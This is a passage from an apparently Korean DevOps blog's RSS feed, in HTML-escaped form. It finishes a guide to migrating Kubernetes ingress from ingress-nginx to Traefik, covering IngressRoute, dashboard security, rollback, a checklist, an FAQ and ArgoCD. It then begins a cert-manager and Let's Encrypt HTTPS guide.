  &lt;span class=&quot;token key atrule&quot;&gt;routes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Host(`api.javapark.kr`) &lt;span class=&quot;token important&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; PathPrefix(`/v1`)
      &lt;span class=&quot;token key atrule&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Rule
      &lt;span class=&quot;token key atrule&quot;&gt;services&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; api&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;svc
          &lt;span class=&quot;token key atrule&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;80&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;middlewares&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; cors&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;headers
        &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; rate&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;limit&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;api
  &lt;span class=&quot;token key atrule&quot;&gt;tls&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;secretName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; api&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;tls&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Ingress와 IngressRoute를 섞어 써도&lt;/strong&gt; Traefik은 둘 다 처리합니다. 서두르지 말고 기존 Ingress는 그대로 두고, 새 서비스부터 IngressRoute로 쓰는 게 좋은 전략입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Traefik Dashboard — 라우팅 디버깅의 필수 도구&lt;/h2&gt;
&lt;p&gt;기본 설치 시 비활성화되어 있습니다. Helm values로 켜세요:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# values-traefik.yaml&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;ingressRoute&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;dashboard&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;enabled&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;true&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;matchRule&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Host(`traefik.javapark.kr`)
    &lt;span class=&quot;token key atrule&quot;&gt;entryPoints&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;websecure&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;tls&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;secretName&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; traefik&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;dashboard&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;tls&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;업그레이드:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;helm upgrade traefik traefik/traefik &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; traefik &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; values-traefik.yaml&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Dashboard에서 보이는 것:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;현재 등록된 &lt;strong&gt;Router&lt;/strong&gt; 목록 (도메인·경로 기반)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Service&lt;/strong&gt; (백엔드) 상태&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Middleware&lt;/strong&gt; 체인&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TLS 인증서&lt;/strong&gt; 요약&lt;/li&gt;
&lt;li&gt;실시간 &lt;strong&gt;메트릭스&lt;/strong&gt; (요청 수·응답 시간·에러율)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;보안 경고:&lt;/strong&gt; Dashboard는 &lt;strong&gt;반드시 인증 걸기&lt;/strong&gt;. &lt;code class=&quot;language-text&quot;&gt;BasicAuth&lt;/code&gt; middleware + cert-manager HTTPS로 감싸고, &lt;strong&gt;IP 화이트리스트&lt;/strong&gt;까지 걸면 안전합니다. 기본 상태로 공개하면 라우팅 정보가 노출됩니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;4단계 — nginx-ingress 제거&lt;/h2&gt;
&lt;p&gt;모든 운영 Ingress가 Traefik으로 이전됐고 1주일 이상 안정 운영이 확인되면:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 남은 nginx Ingress 확인 (0개여야 함)&lt;/span&gt;
kubectl get ingress &lt;span class=&quot;token parameter variable&quot;&gt;-A&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; json &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; jq &lt;span class=&quot;token string&quot;&gt;&apos;.items[] | select(.spec.ingressClassName==&quot;nginx&quot;) | .metadata.name&apos;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Helm uninstall&lt;/span&gt;
helm uninstall ingress-nginx &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; ingress-nginx
kubectl delete namespace ingress-nginx

&lt;span class=&quot;token comment&quot;&gt;# IngressClass도 정리&lt;/span&gt;
kubectl delete ingressclass nginx&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;DNS도 정리&lt;/strong&gt; — nginx LB의 공인 IP로 연결된 레코드가 더 이상 없는지 확인. 클라우드 LB는 리소스 과금 중이니 빠르게 제거.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;롤백 전략 — 문제 발생 시&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;3단계의 각 전환마다&lt;/strong&gt; 롤백 경로를 명확히 해두세요. 2가지 방법:&lt;/p&gt;
&lt;h3&gt;방법 A) &lt;code class=&quot;language-text&quot;&gt;ingressClassName&lt;/code&gt; 되돌리기 (빠름)&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;kubectl patch ingress my-app &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; default &lt;span class=&quot;token parameter variable&quot;&gt;--type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;merge &lt;span class=&quot;token parameter variable&quot;&gt;-p&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token string&quot;&gt;&apos;{&quot;spec&quot;:{&quot;ingressClassName&quot;:&quot;nginx&quot;}}&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;단, &lt;strong&gt;DNS가 Traefik IP로 바뀐 상태&lt;/strong&gt;면 의미 없음. 아래 방법 B와 병행 필요.&lt;/p&gt;
&lt;h3&gt;방법 B) DNS 레코드 되돌리기 (근본적)&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;blog.javapark.kr   A   &amp;lt;nginx-LB-IP&gt;   # 원래 값으로&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;TTL이 낮아야 빠른 롤백 가능&lt;/strong&gt; — 전환 2~3일 전에 TTL을 300초(5분) 수준으로 낮춰두세요.&lt;/p&gt;
&lt;h3&gt;데이터 플레인이 아닌 컨트롤 플레인 문제&lt;/h3&gt;
&lt;p&gt;Traefik 자체는 멀쩡한데 cert-manager 연동이 깨진 경우, &lt;strong&gt;인증서만&lt;/strong&gt; 발급 안 되는 상태가 됩니다. 이 경우:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Challenge 확인&lt;/span&gt;
kubectl get challenge &lt;span class=&quot;token parameter variable&quot;&gt;-A&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 이전 nginx용 Secret 재사용 (같은 secretName이면 자동 복구)&lt;/span&gt;
kubectl get secret &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;tls-secret-name&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; yaml&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;인증서는 &lt;strong&gt;Secret&lt;/strong&gt;에 저장되므로, Controller만 바뀌고 Secret이 그대로면 TLS는 즉시 복구됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;실전 체크리스트&lt;/h2&gt;
&lt;p&gt;전환 작업 직전 돌려볼 최종 체크리스트:&lt;/p&gt;
&lt;ul class=&quot;contains-task-list&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; nginx와 Traefik &lt;strong&gt;둘 다 Running&lt;/strong&gt;이고 LoadBalancer에 IP 할당됨&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; &lt;code class=&quot;language-text&quot;&gt;ingressClass.isDefaultClass=false&lt;/code&gt; — Traefik이 기본 Controller 아님&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; ClusterIssuer &lt;code class=&quot;language-text&quot;&gt;letsencrypt-prod-traefik&lt;/code&gt; 준비됨 (&lt;code class=&quot;language-text&quot;&gt;solvers.class: traefik&lt;/code&gt;)&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; DNS TTL이 &lt;strong&gt;300초 이하&lt;/strong&gt;로 낮춰져 있음 (전환 2일 전)&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 대상 Ingress의 annotation 중 &lt;strong&gt;Traefik 미지원&lt;/strong&gt; 항목 확인 (예: 매우 특수한 nginx.conf snippet)&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Dashboard 접근 가능 (인증 걸림)&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 롤백 DNS 값 메모 (이전 nginx LB IP)&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; &lt;strong&gt;모니터링 대시보드&lt;/strong&gt;(Grafana 등) 열어둠&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; 전환 창: 트래픽 낮은 시간 + 30분 이상 여유&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;자주 겪는 이슈 5가지&lt;/h2&gt;
&lt;h3&gt;1) &quot;Traefik에서 Host 매칭이 안 된다&quot;&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;IngressRoute&lt;/code&gt;의 &lt;code class=&quot;language-text&quot;&gt;match&lt;/code&gt; 문법 주의. 백틱(&lt;code class=&quot;language-text&quot;&gt;`&lt;/code&gt;)으로 감싸야 합니다:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Host(`api.javapark.kr`)   &lt;span class=&quot;token comment&quot;&gt;# ✓&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;match&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Host(&quot;api.javapark.kr&quot;)   &lt;span class=&quot;token comment&quot;&gt;# ✕ 동작 안 함&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;2) &quot;Middleware가 안 먹힌다&quot;&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;&amp;lt;namespace&gt;-&amp;lt;name&gt;@kubernetescrd&lt;/code&gt; 형식 지켰는지 확인. 다른 네임스페이스 Middleware를 참조하려면 전체 경로 필수.&lt;/p&gt;
&lt;h3&gt;3) &quot;cert-manager Challenge가 실패&quot;&lt;/h3&gt;
&lt;p&gt;ClusterIssuer의 &lt;code class=&quot;language-text&quot;&gt;solvers.class&lt;/code&gt;가 &lt;strong&gt;기존 nginx&lt;/strong&gt;로 남아있으면 Traefik Ingress에 대한 challenge가 실패. &lt;code class=&quot;language-text&quot;&gt;traefik&lt;/code&gt;용 ClusterIssuer 따로 쓰거나, &lt;code class=&quot;language-text&quot;&gt;class&lt;/code&gt; 필드를 아예 빼고 공용으로.&lt;/p&gt;
&lt;h3&gt;4) &quot;전환 후 404&quot;&lt;/h3&gt;
&lt;p&gt;ingressClassName을 바꿨는데 라우팅이 안 됨 → Traefik에 해당 Ingress가 아직 등록 안 된 상태. &lt;strong&gt;Traefik Pod 재시작 or Traefik CRD 명시 확인&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;5) &quot;Dashboard가 안 열린다&quot;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;IngressRoute&lt;/code&gt; + &lt;code class=&quot;language-text&quot;&gt;entryPoints: [websecure]&lt;/code&gt; 설정 확인&lt;/li&gt;
&lt;li&gt;TLS secret 존재 확인&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;BasicAuth&lt;/code&gt; middleware가 잘못 설정되면 401만 뜸 — secret 형식(bcrypt) 재생성&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;ArgoCD와 함께 — GitOps 기반 마이그레이션&lt;/h2&gt;
&lt;p&gt;이 모든 전환을 &lt;strong&gt;Git 커밋 단위&lt;/strong&gt;로 하면 추적·롤백이 훨씬 편합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;k8s-manifests/
├── apps/
│   └── my-app/
│       └── ingress.yaml        # ingressClassName 하나 바꾸는 커밋이 전환
├── platform/
│   ├── ingress-nginx/          # 초기 상태 · 나중에 삭제 커밋
│   ├── traefik/                # 신규 추가 커밋
│   └── cert-manager/           # 그대로 유지&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;ArgoCD App of Apps 패턴에서 &lt;code class=&quot;language-text&quot;&gt;traefik&lt;/code&gt; Application을 먼저 추가 → 검증 → 각 서비스 앱의 &lt;code class=&quot;language-text&quot;&gt;ingressClassName&lt;/code&gt;을 PR로 전환 → nginx Application 제거 PR. &lt;strong&gt;모든 전환이 Git 히스토리에 남아&lt;/strong&gt; 롤백도 &lt;code class=&quot;language-text&quot;&gt;git revert&lt;/code&gt; 한 번으로 해결.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;/argocd-gitops-guide/&quot;&gt;ArgoCD 편&lt;/a&gt; 패턴 그대로 재사용 가능.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;h3&gt;Q. &lt;code class=&quot;language-text&quot;&gt;Ingress&lt;/code&gt;로 계속 가도 되나요, 꼭 &lt;code class=&quot;language-text&quot;&gt;IngressRoute&lt;/code&gt;로 전환해야 하나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;안 해도 됩니다.&lt;/strong&gt; Traefik은 기본 Ingress를 완벽히 지원합니다. 이미 수십 개 Ingress가 있다면 &lt;strong&gt;그대로 두고, 신규만 IngressRoute&lt;/strong&gt;로 쓰는 하이브리드가 현실적. &lt;code class=&quot;language-text&quot;&gt;IngressRoute&lt;/code&gt;는 Traefik 특화 기능(복잡한 매처·미들웨어 체인)을 쓸 때만 유리합니다.&lt;/p&gt;
&lt;h3&gt;Q. annotations가 너무 많아서 변환이 막막합니다.&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;nginx.ingress.kubernetes.io/&lt;/code&gt; annotation을 &lt;code class=&quot;language-text&quot;&gt;grep&lt;/code&gt;으로 전부 뽑은 뒤 Traefik 공식 문서의 &lt;a href=&quot;https://doc.traefik.io/traefik/routing/providers/kubernetes-ingress/&quot;&gt;annotation reference&lt;/a&gt;와 맵핑 표를 만드세요. 실무에서 자주 쓰는 건 &lt;code class=&quot;language-text&quot;&gt;force-ssl-redirect&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;proxy-body-size&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;cors&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;rewrite&lt;/code&gt; 네 개입니다.&lt;/p&gt;
&lt;h3&gt;Q. 성능 차이가 있나요?&lt;/h3&gt;
&lt;p&gt;벤치마크상 &lt;strong&gt;의미 있는 차이는 없습니다&lt;/strong&gt; (초당 수만 req 이상에서만 유의미한 차이). Traefik이 Go로 쓰여 있어 메모리·CPU 효율은 비슷하거나 소폭 유리. 실제 병목은 Controller가 아니라 백엔드 앱이 대부분.&lt;/p&gt;
&lt;h3&gt;Q. Gateway API로 바로 가는 게 낫지 않나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;관심 있으면 추천합니다.&lt;/strong&gt; Traefik은 Gateway API를 가장 먼저 native 지원한 Controller라, &lt;code class=&quot;language-text&quot;&gt;Gateway&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;HTTPRoute&lt;/code&gt; 리소스로 쓰면 향후 어떤 Controller로 바꿔도 리소스 재사용 가능. 단, 아직 일부 기능은 Ingress보다 성숙도가 낮으니 &lt;strong&gt;신규 프로젝트&lt;/strong&gt; 또는 &lt;strong&gt;POC&lt;/strong&gt;에서 먼저 시도해보세요.&lt;/p&gt;
&lt;h3&gt;Q. 마이그레이션이 얼마나 걸리나요?&lt;/h3&gt;
&lt;p&gt;서비스 10&lt;del&gt;20개 규모 기준 &lt;strong&gt;1&lt;/del&gt;2주&lt;/strong&gt;가 현실적입니다. 1단계(설치)는 1시간, 2단계(검증)는 반나절, 3단계(점진 전환)가 대부분의 시간을 먹고, 4단계(nginx 제거)는 30분. &lt;strong&gt;서두르지 말 것&lt;/strong&gt;이 가장 큰 팁.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리 — 다음 단계&lt;/h2&gt;
&lt;p&gt;Controller 교체는 &quot;진입점을 건드리는 일&quot; 중 제일 조심스럽지만, &lt;strong&gt;ingressClassName 하나가 격리 스위치 역할&lt;/strong&gt;을 해주기 때문에 실제로는 감당할 만한 작업입니다. 중요한 건:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;병렬 운영 기간을 아끼지 않는다&lt;/strong&gt; — 하루 쓰고 버릴 LB IP 아까워하지 마세요&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;annotation → Middleware 맵핑&lt;/strong&gt;을 미리 표로 만든다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;cert-manager는 재사용&lt;/strong&gt; — ClusterIssuer만 class 분리&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DNS TTL을 미리 낮춘다&lt;/strong&gt; — 롤백 속도의 핵심&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;한 번에 하나씩&lt;/strong&gt; 전환하고 1시간 모니터링&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;오늘 정리 핵심:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Controller 공존 + &lt;code class=&quot;language-text&quot;&gt;ingressClassName&lt;/code&gt;이 전환의 스위치&lt;/li&gt;
&lt;li&gt;기본 Ingress는 그대로 Traefik이 처리 — IngressRoute는 선택&lt;/li&gt;
&lt;li&gt;Middleware로 nginx annotation을 객체화·재사용&lt;/li&gt;
&lt;li&gt;cert-manager Secret은 Controller 교체 영향 받지 않음&lt;/li&gt;
&lt;li&gt;4단계 계획 + 각 단계별 롤백 경로 준비&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;시리즈 다음 주제&lt;/h3&gt;
&lt;ul class=&quot;contains-task-list&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; HPA·VPA로 오토스케일링 구성&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Prometheus + Grafana 모니터링 스택&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Gateway API 전환기 — 언제·어떻게 바꿀까 (Traefik native 경험 활용)&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; ArgoCD ApplicationSet 심화 — 멀티 클러스터 대규모 운영&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; K8S NetworkPolicy로 제로 트러스트 구성&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;여러분은 ingress-nginx에서 벗어날 생각이 있으신가요? 아니면 이미 Traefik·Istio Gateway·클라우드 관리형 ALB를 쓰고 계신지 댓글로 공유해주세요. 실전 전환 경험이 다음 편 소재가 됩니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Ingress + cert-manager 완벽 가이드 — 쿠버네티스 HTTPS 자동화와 Let's Encrypt 실전 셋업]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "3개월마다 인증서 갱신하러 로그인해서 파일 받고 Secret 교체하다가 깜빡해서 서비스 TLS 에러 뜬 적 있습니다." 솔직히 저도 그랬습니다. Let's Encrypt 무료 인증서를 수동으로 돌리면 9…]]></description><link>https://blog.javapark.kr/ingress-cert-manager-guide/</link><guid isPermaLink="false">https://blog.javapark.kr/ingress-cert-manager-guide/</guid><pubDate>Tue, 21 Apr 2026 17:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;3개월마다 인증서 갱신하러 로그인해서 파일 받고 Secret 교체하다가 깜빡해서 서비스 TLS 에러 뜬 적 있습니다.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;솔직히 저도 그랬습니다. Let&apos;s Encrypt 무료 인증서를 수동으로 돌리면 &lt;strong&gt;90일 만기&lt;/strong&gt; 달력 알림이 울릴 때마다 배포 일 하나가 추가되고, 서비스 수가 늘어나면 &quot;어떤 도메인이 언제 만료되는지&quot; 파악 자체가 고역이 됩니다. 한 번 깜빡하면 &lt;code class=&quot;language-text&quot;&gt;NET::ERR_CERT_DATE_INVALID&lt;/code&gt; 배너가 사용자 화면에 뜨죠.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;cert-manager는 &quot;Let&apos;s Encrypt 인증서 발급·갱신을 K8S 리소스로 자동화&quot;하는 컨트롤러입니다.&lt;/strong&gt; Ingress에 annotation 한 줄이면 &lt;strong&gt;HTTPS 인증서가 자동으로 발급되고, 만료 전에 알아서 갱신&lt;/strong&gt;됩니다. 오늘은 Ingress 개념 복습부터 nginx-ingress 설치, cert-manager 셋업, Let&apos;s Encrypt 연동, 와일드카드 인증서까지 실전 순서대로 정리하겠습니다.&lt;/p&gt;
&lt;p&gt;이전 편을 안 보셨다면 &lt;a href=&quot;/k8s-understanding/&quot;&gt;K8S에 대한 이해&lt;/a&gt; · &lt;a href=&quot;/helm-package-management/&quot;&gt;Helm 완벽 가이드&lt;/a&gt; · &lt;a href=&quot;/argocd-gitops-guide/&quot;&gt;ArgoCD GitOps 가이드&lt;/a&gt; · &lt;a href=&quot;/kustomize-overlay-guide/&quot;&gt;Kustomize Overlay 가이드&lt;/a&gt;부터 읽으시면 흐름이 이어집니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Ingress 복습 — 왜 필요한가&lt;/h2&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;Service&lt;/code&gt;는 Pod에 접근할 경로를 제공하지만, &lt;strong&gt;도메인·경로 기반 라우팅·TLS 종단&lt;/strong&gt;은 다루지 않습니다. 이 빈자리를 채우는 게 &lt;strong&gt;Ingress&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Internet
   │
   ▼
┌───────────────────┐
│  LoadBalancer     │  ← 클라우드 LB or 노드 IP
└───────────────────┘
   │
   ▼
┌───────────────────────────────────────────────────┐
│  Ingress Controller (nginx / traefik / haproxy)   │
│   - 도메인 기반 분기                              │
│   - 경로 기반 분기                                │
│   - TLS 종단 처리                                 │
└───────────────────────────────────────────────────┘
   │                  │                   │
   ▼                  ▼                   ▼
 Service A         Service B           Service C
(api.example)   (admin.example)    (blog.example)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;핵심 용어 구분:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;용어&lt;/th&gt;
&lt;th&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ingress (리소스)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;라우팅 규칙을 선언한 K8S 오브젝트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ingress Controller&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;그 규칙을 실제로 수행하는 &lt;strong&gt;Pod&lt;/strong&gt; (nginx·traefik 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;IngressClass&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;여러 Controller 중 &quot;이 Ingress를 누가 처리할지&quot; 지정&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Ingress 리소스만 만들어 놓고 &lt;strong&gt;Controller가 설치되지 않았으면 아무 일도 일어나지 않습니다.&lt;/strong&gt; 처음 하는 실수 1위가 이것.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
